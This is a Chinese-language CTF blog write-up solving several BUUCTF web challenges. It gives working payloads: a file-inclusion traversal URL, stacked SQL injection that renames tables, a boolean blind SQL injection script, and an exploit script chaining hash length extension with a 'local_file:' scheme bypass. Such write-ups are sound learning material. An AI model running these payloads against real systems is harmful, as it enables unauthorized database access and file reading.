Loading... ##Warmup 进去后查看网页源代码,发现source.php,打开得到源码。审计源码,不会做QAQ。感觉urldecode可以搞事情。打开谷歌,查找资料,找到了这个: [phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613](https://www.cnblogs.com/leixiao-/p/10265150.html) 构造payload: ``` http://web5.buuoj.cn/source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg ``` 得到flag。 ##随便注 这道题是国赛中写过的题目。上次忘记写wp了,这次就当复现了。 注入,简单测试,发现select被ban了。用分号隔开来执行多条语句: ``` /?inject=1%27;show%20databases%23 ``` 成功查出数据库库名。接着查表: ``` /?inject=1%27;use%20supersqli;show%20tables%23 ``` 查列: ``` /?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from%20words%23 /?inject=1%27;use%20supersqli;show%20tables;show%20columns%20from`1919810931114514`%23 ``` 发现那一串数字的列里面有flag。不能用select如何查字段呢? 整理一下逻辑:后端从words表里面取出我们输入所对应的语句,那么可以通过这里来取出我们想要的flag。 简单测试一下,如果没有id字段会直接报错,于是要把所有语句都放在一起。Payload如下: ``` /?inject=1%27;use%20supersqli;show%20tables;ALTER%20TABLE%20words%20RENAME%20TO%20row;ALTER%20TABLE`1919810931114514`RENAME%20TO%20words;alter%20table%20words%20add%20id%20int(4)%23 ``` 接着在最开始的界面中注入得到flag: ``` http://web16.buuoj.cn/?inject=1%27+or+1%3D1%23 ``` ### admin [hctf_flask-master.zip](https://blog.domineto.top/usr/uploads/2019/08/3131691856.zip) 这题我在测试的时候让它报错了……然后直接拿到了一个 Python 的沙盒……然后就任意代码执行拿到 flag 了…… ![](https://blog.domineto.top/usr/uploads/2019/08/1865370497.png) 大佬的 writeup : > https://www.anquanke.com/post/id/164086#h2-0 ##Hack World 基于布尔的盲注。简单测试了一下发现过滤了空格和`*`,那就用 TAB 来代替。 上脚本: ```python import requests import string flag = "" url = "http://web43.buuoj.cn/index.php" characters = string.ascii_letters + string.digits + string.punctuation for i in range(1, 268): next_pos = False for j in characters: payload = "id=0^(ascii(substr((select(flag)from\tflag),{0},1))={1})".format(i, ord(j)) data = {"id": payload} #print (data) response = requests.post(url, data=data) if "Hello, glzjin wants a girlfriend." in response.text: next_pos = True flag += j break print (flag) if (next_pos == False): break print (flag) ``` ## piapiapia https://blog.domineto.top/CTF/619.html ## [De1CTF 2019]SSRF Me [delta_2019_web_ssrfme-master.zip](https://blog.domineto.top/usr/uploads/2019/08/2193422493.zip) 进去之后直接给了源码。题目提示了flag在 `./flag.txt` 这个文件里面,于是想到 LFI。寻找可以进行 LFI 的地方,在scan 函数中找到了 `urlopen` 这个函数。`urlopen` 可以通过 `file://` 流来进行读取本地文件。向上回溯,这里有两个地方需要绕过: 1. action 中需要包含 read 字符串,这里有一个加盐MD5需要绕过。 2. 题目的 waf 过滤了 `gopher` 和 `file` 关键字 第一个地方盐加在字符串的前面,且盐的长度已知,所以可以通过哈希长度扩展攻击来绕过。 第二个地方可以用 CVE-2019-9948 绕过。将 `file` 改为 `local_file` 即可绕过。 > exp ```python #encoding: utf-8 import hashpumpy import requests import urllib url = "http://139.180.128.86/" payload = "local_file:flag.txt" r = requests.get(url + "geneSign", params = {"param": payload}) row_sign = r.text sign = hashpumpy.hashpump(row_sign, payload + "scan", "read", 16) r = requests.get(url + "De1ta", params = {"param": payload}, cookies = { "sign": sign[0], "action": urllib.quote(sign[1][len(payload):]) }) print (r.text) ``` 最后修改:2019 年 08 月 19 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏